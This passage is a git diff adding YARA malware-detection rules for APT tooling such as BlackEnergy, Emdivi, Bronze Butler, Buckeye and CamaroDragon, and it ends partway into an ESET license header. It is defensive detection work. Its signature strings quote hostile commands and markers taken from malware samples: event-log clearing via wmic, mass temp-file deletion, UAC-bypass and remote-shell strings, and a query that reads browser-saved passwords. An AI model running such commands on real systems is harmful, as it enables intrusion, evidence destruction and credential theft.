+		$s2 = "KdDebuggerNotPresent" fullword ascii /* Goodware String - occured 50 times */
+		$s3 = "KdDebuggerEnabled" fullword ascii /* Goodware String - occured 69 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule BlackEnergy_Driver_AMDIDE {
+	meta:
+		description = "Black Energy Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
+		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
+		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
+		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
+		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
+		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
+		id = "e5b57c33-87f7-5411-995c-384e0afa0348"
+	strings:
+		$s1 = " AMD IDE driver" fullword wide
+		$s2 = "SessionEnv" fullword wide
+		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
+		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
diff --git a/yara-Neo23x0/apt_blackenergy_installer.yar b/yara-Neo23x0/apt_blackenergy_installer.yar
new file mode 100644
index 0000000..12c2a9c
--- /dev/null
+++ b/yara-Neo23x0/apt_blackenergy_installer.yar
@@ -0,0 +1,16 @@
+
+rule blackenergy3_installer
+{
+	meta:
+		author = "Mike Schladt"
+		date = "2015-05-29"
+		description = "Matches unique code block for import name construction "
+		md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
+		sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
+		reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+		id = "4afeb7ac-ce8d-506c-9c97-db7ec6102490"
+	strings:
+		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }            
+	condition : 
+		any of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_bluetermite_emdivi.yar b/yara-Neo23x0/apt_bluetermite_emdivi.yar
new file mode 100644
index 0000000..bdc78cd
--- /dev/null
+++ b/yara-Neo23x0/apt_bluetermite_emdivi.yar
@@ -0,0 +1,143 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth @Cyber0ps
+	Date: 2015-08-20
+	Identifier: Emdivi
+*/
+
+rule Emdivi_SFX {
+	meta:
+		description = "Detects Emdivi malware in SFX Archive"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 70
+		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
+		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
+		id = "51367190-2e8d-507c-a19f-996bc6960977"
+	strings:
+		$x1 = "Setup=unsecess.exe" fullword ascii
+		$x2 = "Setup=leassnp.exe" fullword ascii
+
+		$s1 = "&Enter password for the encrypted file:" fullword wide
+		$s2 = ";The comment below contains SFX script commands" fullword ascii
+		$s3 = "Path=%temp%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and (1 of ($x*) and all of ($s*))
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Emdivi_Gen1 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 80
+		super_rule = 1
+		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+		id = "807cf3f9-4f58-5d22-88b2-9adb7866979f"
+	strings:
+		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
+		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
+		$x3 = "userControl-v80.exe" fullword ascii
+
+		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
+		$s2 = "http://www.msftncsi.com" fullword wide
+		$s3 = "net use | find /i \"c$\"" fullword wide
+		$s4 = " /del /y & " fullword wide
+		$s5 = "\\auto.cfg" wide
+		$s6 = "/ncsi.txt" fullword wide
+		$s7 = "Dcmd /c" fullword wide
+		$s8 = "/PROXY" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule Emdivi_Gen2 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		modified = "2023-01-27"
+		super_rule = 1
+		score = 80
+		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
+		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
+		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
+		id = "9a77c85c-84b0-5e0f-93bc-e17e2aaec095"
+	strings:
+		$s1 = "%TEMP%\\IELogs\\" ascii
+		$s2 = "MSPUB.EXE" fullword ascii
+		$s3 = "%temp%\\" ascii
+		$s4 = "\\NOTEPAD.EXE" ascii
+		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
+		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
+		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1300KB and 6 of them
+}
+
+rule MAL_Emdivi_Gen3 {
+   meta:
+      description = "Detects Emdivi Malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+      date = "2015-08-20"
+      modified = "2023-01-06"
+      super_rule = 1
+      score = 80
+      hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+      hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+      id = "c3d712ae-3f8e-578c-81cd-fd3e48213875"
+   strings:
+      $x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
+
+      $s2 = "\\Mozilla\\Firefox\\Profiles\\" ascii
+      $s4 = "\\auto.cfg" ascii
+      $s5 = "/ncsi.txt" fullword ascii
+      $s6 = "/en-us/default.aspx" fullword ascii
+      $s7 = "cmd /c" fullword ascii
+      $s9 = "APPDATA" fullword ascii /* Goodware String - occured 25 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 850KB and
+      (
+         ( $x1 and 1 of ($s*) ) or
+         ( 4 of ($s*) )
+      )
+}
+
+rule Emdivi_Gen4 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+		id = "02629873-a797-51ff-83fc-af499cafa1e8"
+	strings:
+		$s1 = ".http_port\", " fullword wide
+		$s2 = "UserAgent: " fullword ascii
+		$s3 = "AUTH FAILED" fullword ascii
+		$s4 = "INVALID FILE PATH" fullword ascii
+		$s5 = ".autoconfig_url\", \"" fullword wide
+		$s6 = "FAILED TO WRITE FILE" fullword ascii
+		$s7 = ".proxy" fullword wide
+		$s8 = "AuthType: " fullword ascii
+		$s9 = ".no_proxies_on\", \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 853KB and all of them
+}
diff --git a/yara-Neo23x0/apt_bronze_butler.yar b/yara-Neo23x0/apt_bronze_butler.yar
new file mode 100644
index 0000000..fc79077
--- /dev/null
+++ b/yara-Neo23x0/apt_bronze_butler.yar
@@ -0,0 +1,197 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-14
+   Identifier: Bronze Butler
+   Reference: https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule BronzeButler_Daserf_Delphi_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64"
+      hash2 = "b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b"
+      hash3 = "22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43"
+      id = "88372e62-3bba-58dc-825c-f35533e42825"
+   strings:
+      $s1 = "Services.exe" fullword ascii
+      $s2 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
+      $s3 = "l32.dll" fullword ascii
+      $s4 = "tProcess:" fullword ascii
+      $s5 = " InjectPr" ascii
+      $s6 = "Write$Error creating variant or safe array\x1fInvalid argument to time encode" fullword wide
+      $s7 = "on\\run /v " fullword ascii
+      $s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
+      $s9 = "ms1ng2d3d2.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them )
+}
+
+rule BronzeButler_Daserf_C_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05"
+      hash2 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
+      hash3 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
+      hash4 = "b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a"
+      hash5 = "15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92"
+      hash6 = "85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439"
+      hash7 = "2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162"
+      hash8 = "2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c"
+      id = "62a5cc4a-7c58-5e4d-ac23-8d1f850a540a"
+   strings:
+      $s1 = "(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com." fullword ascii
+      $s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" fullword ascii
+
+      $a1 = "ndkkwqgcm" fullword ascii
+      $a2 = "RtlGetCo" fullword ascii
+      $a3 = "hutils" fullword ascii
+
+      $b1 = "%USERPROFILE%\\System" fullword ascii
+      $b2 = "msid.dat" fullword ascii
+      $b3 = "DRIVE_REMOTE" fullword wide
+      $b4 = "%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+      $b5 = "jcbhe.asp" fullword ascii
+      $b6 = "edset.asp" fullword ascii
+      $b7 = "bxcve.asp" fullword ascii
+      $b8 = "hcvery.php" fullword ascii
+      $b9 = "ynhkef.php" fullword ascii
+      $b10 = "dkgwey.php" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "088382f4887e3b2c4bd5157f2d72b618" or
+         all of ($a*) or
+         4 of them
+      )
+}
+
+rule BronzeButler_DGet_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6"
+      id = "d60fcc9f-0f17-5871-9e8e-71d26e2f46bc"
+   strings:
+      $s2 = "DGet Tool Made by XZ" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 10KB and 1 of them )
+}
+
+rule BronzeButler_UACBypass_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192"
+      id = "01853352-58fc-56a3-8c20-08405c71e251"
+   strings:
+      $x1 = "\\Release\\BypassUacDll.pdb" ascii
+      $x2 = "%programfiles%internet exploreriexplore.exe" fullword wide
+      $x3 = "Elevation:Administrator!new:{3ad055" fullword wide
+      $x4 = "BypassUac.pdb" fullword ascii
+      $x5 = "[bypassUAC] started X64" fullword wide
+      $x6 = "[bypassUAC] started X86" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them )
+}
+
+rule BronzeButler_xxmm_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73"
+      id = "0e413e3a-fb61-58bc-9ecb-4ef76e83a7f3"
+   strings:
+      $x1 = "\\Release\\ReflectivLoader.pdb" ascii
+      $x3 = "\\Projects\\xxmm2\\Release\\" ascii
+      $x5 = "http://127.0.0.1/phptunnel.php" fullword ascii
+
+      $s1 = "xxmm2.exe" fullword ascii
+      $s2 = "\\AvUpdate.exe" wide
+      $s3 = "stdapi_fs_file_download" fullword ascii
+      $s4 = "stdapi_syncshell_open" fullword ascii
+      $s5 = "stdapi_execute_sleep" fullword ascii
+      $s6 = "stdapi_syncshell_kill" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and (
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+rule BronzeButler_RarStar_1 {
+   meta:
+      description = "Detects malware / hacktool sample from Bronze Butler incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+      date = "2017-10-14"
+      hash1 = "0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4"
+      id = "770270b3-6743-5efb-84d8-b63f1df800d9"
+   strings:
+      $s1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+SV1)" fullword wide
+      $s2 = "http://www.google.co.jp" fullword wide
+      $s3 = "16D73E22-873D-D58E-4F42-E6055BC9825E" fullword ascii
+      $s4 = "\\*.rar" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-08
+   Identifier: Bronze Butler
+   Reference: https://goo.gl/ffeCfd
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Daserf_Nov1_BronzeButler {
+   meta:
+      description = "Detects Daserf malware used by Bronze Butler"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/ffeCfd"
+      date = "2017-11-08"
+      hash1 = "5ede6f93f26ccd6de2f93c9bd0f834279df5f5cfe3457915fae24a3aec46961b"
+      id = "58c4d3dc-c516-567b-8746-4e185c3cd328"
+   strings:
+      $x1 = "mstmp1845234.exe" fullword ascii
+      /* Bronce Butler UA String - see google search */
+      $x2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)" fullword ascii
+      $x3 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
+
+      $s1 = "Content-Type: */*" fullword ascii
+      $s2 = "ProxyEnable" ascii fullword
+      $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii fullword
+      $s4 = "iexplore.exe" ascii fullword
+      /* Looks random but present in many samples */
+      $s5 = "\\SOFTWARE\\Microsoft\\Windows\\Cu" ascii
+      $s6 = "rrentVersion\\Internet Settings" fullword ascii
+      $s7 = "ws\\CurrentVersion\\Inter" fullword ascii
+      $s8 = "Documents an" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and ( 1 of ($x*) or 5 of them )
+}
+
diff --git a/yara-Neo23x0/apt_buckeye.yar b/yara-Neo23x0/apt_buckeye.yar
new file mode 100644
index 0000000..9b08762
--- /dev/null
+++ b/yara-Neo23x0/apt_buckeye.yar
@@ -0,0 +1,76 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-05
+	Identifier: Buckeye
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Buckeye_Osinfo {
+	meta:
+		description = "Detects OSinfo tool used by the Buckeye APT group"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+		date = "2016-09-05"
+		id = "e40a86d1-fd1a-5430-b7b7-8cc7ca128cc5"
+	strings:
+		$s1 = "-s ShareInfo ShareDir" fullword ascii
+		$s2 = "-a Local And Global Group User Info" fullword ascii
+		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
+		$s4 = "info <\\server> <user>" fullword ascii
+		$s5 = "-c Connect Test" fullword ascii
+		$s6 = "-gd Group Domain Admins" fullword ascii
+		$s7 = "-n NetuseInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 3 of ($s*)
+}
+
+rule RemoteCmd {
+	meta:
+		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		modified = "2022-12-21"
+		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
+		id = "384f37f3-4562-5d79-9793-0384c43d4602"
+	strings:
+		$s1 = "RemoteCmd.exe" fullword wide
+		$s2 = "\\Release\\RemoteCmd.pdb" ascii
+		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
+		$s4 = "http://{0}:65101/CommandEngine" fullword wide
+		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
+		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and 2 of them ) or ( 4 of them )
+}
+
+rule ChromePass {
+	meta:
+		description = "Detects a tool used by APT groups - file ChromePass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		modified = "2022-12-21"
+		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
+		id = "950b9761-bdfd-514b-90ea-a1454d35ce5a"
+	strings:
+		$x1 = "\\Release\\ChromePass.pdb" ascii
+		$x2 = "Windows Protect folder for getting the encryption keys" wide
+		$x3 = "Chrome User Data folder where the password file is stored" wide
+
+		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
+		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
+		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
+		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
+		$s5 = "Load the passwords of the current logged-on user" fullword wide
+		$s6 = "Windows Login Password:" fullword wide
+		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
+		$s8 = "Chrome Password Recovery" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) ) or ( 5 of them )
+}
diff --git a/yara-Neo23x0/apt_camaro_dragon_oct23.yar b/yara-Neo23x0/apt_camaro_dragon_oct23.yar
new file mode 100644
index 0000000..d6c6ebf
--- /dev/null
+++ b/yara-Neo23x0/apt_camaro_dragon_oct23.yar
@@ -0,0 +1,56 @@
+
+rule MAL_LNX_CamaroDragon_Sheel_Oct23 {
+   meta:
+      description = "Detects CamaroDragon's tool named sheel"
+      author = "Florian Roth"
+      reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
+      date = "2023-10-06"
+      score = 85
+      hash1 = "7985f992dcc6fcce76ee2892700c8538af075bd991625156bf2482dbfebd5a5a"
+      id = "f6f08c0e-236c-5194-9369-da8fdef4aa21"
+   strings:
+      $x1 = "-h server_ip -p server_port -i update_index[0-4] [-r]" ascii fullword
+
+      $s1 = "read_ip" ascii fullword
+      $s2 = "open fail.%m" ascii fullword
+      $s3 = "ri:h:p:" ascii fullword /* flags */
+      $s4 = "update server list success!" ascii fullword
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 30KB and (
+         1 of ($x*)
+         or 3 of them
+      ) 
+      or 4 of them
+}
+
+rule MAL_LNX_CamaroDragon_HorseShell_Oct23 {
+   meta:
+      description = "Detects CamaroDragon's HorseShell implant for routers"
+      author = "Florian Roth"
+      reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
+      date = "2023-10-06"
+      score = 85
+      hash1 = "998788472cb1502c03675a15a9f09b12f3877a5aeb687f891458a414b8e0d66c"
+      id = "9e54745f-146f-50a6-b30f-53aaaa6907b5"
+   strings:
+      $x1 = "echo \"start shell '%s' failed!\" > .remote_shell.log" ascii fullword
+      $x2 = "*****recv NET_REQ_HORSE_SHELL REQ_CONNECT_PORT*****" ascii fullword
+
+      $s1 = "m.cremessage.com" ascii fullword
+      $s2 = "POST http://%s/index.php HTTP/1.1" ascii fullword
+      $s3 = "wzsw_encrypt_buf" ascii fullword
+      $s4 = "body:%d-%s" ascii fullword
+      $s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident" ascii fullword /* String occurs 1 times in goodware */
+      $s6 = "process_http_read_events" ascii fullword
+
+      $op1 = { c4 34 42 00 02 30 63 00 40 10 60 00 09 ae 62 00 48 8e 62 00 cc }
+      $op2 = { 27 f4 8c 46 27 f0 03 20 f8 09 00 60 28 21 }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 600KB and (
+         1 of ($x*)
+         or 3 of them
+      )
+      or 5 of them
+}
diff --git a/yara-Neo23x0/apt_candiru.yar b/yara-Neo23x0/apt_candiru.yar
new file mode 100644
index 0000000..1060cf1
--- /dev/null
+++ b/yara-Neo23x0/apt_candiru.yar
@@ -0,0 +1,47 @@
+import "pe"
+
+rule MAL_DevilsTongue_HijackDll {
+   meta:
+      description = "Detects SOURGUM's DevilsTongue hijack DLL"
+      author = "Microsoft Threat Intelligence Center (MSTIC)"
+      date = "2021-07-15"
+      reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
+      score = 80
+      id = "390b8b73-6740-513d-8c70-c9002be0ce69"
+   strings:
+      $str1 = "windows.old\\windows" wide
+      $str2 = "NtQueryInformationThread"
+      $str3 = "dbgHelp.dll" wide
+      $str4 = "StackWalk64"
+      $str5 = "ConvertSidToStringSidW"
+      $str6 = "S-1-5-18" wide
+      $str7 = "SMNew.dll" // DLL original name
+      // Call check in stack manipulation
+      // B8 FF 15 00 00   mov     eax, 15FFh
+      // 66 39 41 FA      cmp     [rcx-6], ax
+      // 74 06            jz      short loc_1800042B9
+      // 80 79 FB E8      cmp     byte ptr [rcx-5], 0E8h ;
+      $code1 = { B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8 }
+      // PRNG to generate number of times to sleep 1s before exiting
+      // 44 8B C0 mov r8d, eax
+      // B8 B5 81 4E 1B mov eax, 1B4E81B5h
+      // 41 F7 E8 imul r8d
+      // C1 FA 05 sar edx, 5
+      // 8B CA    mov ecx, edx
+      // C1 E9 1F shr ecx, 1Fh
+      // 03 D1    add edx, ecx
+      // 69 CA 2C 01 00 00 imul ecx, edx, 12Ch
+      // 44 2B C1 sub r8d, ecx
+      // 45 85 C0 test r8d, r8d
+      // 7E 19    jle  short loc_1800014D0
+      $code2 = { 44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19 }
+   condition:
+      filesize < 800KB and
+      uint16(0) == 0x5A4D and
+      ( pe.characteristics & pe.DLL ) and
+      (
+         4 of them or
+         ( $code1 and $code2 ) or
+         pe.imphash() == "9a964e810949704ff7b4a393d9adda60"
+      )
+}
diff --git a/yara-Neo23x0/apt_carbon_paper_turla.yar b/yara-Neo23x0/apt_carbon_paper_turla.yar
new file mode 100644
index 0000000..3311e52
--- /dev/null
+++ b/yara-Neo23x0/apt_carbon_paper_turla.yar
@@ -0,0 +1,71 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2017, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
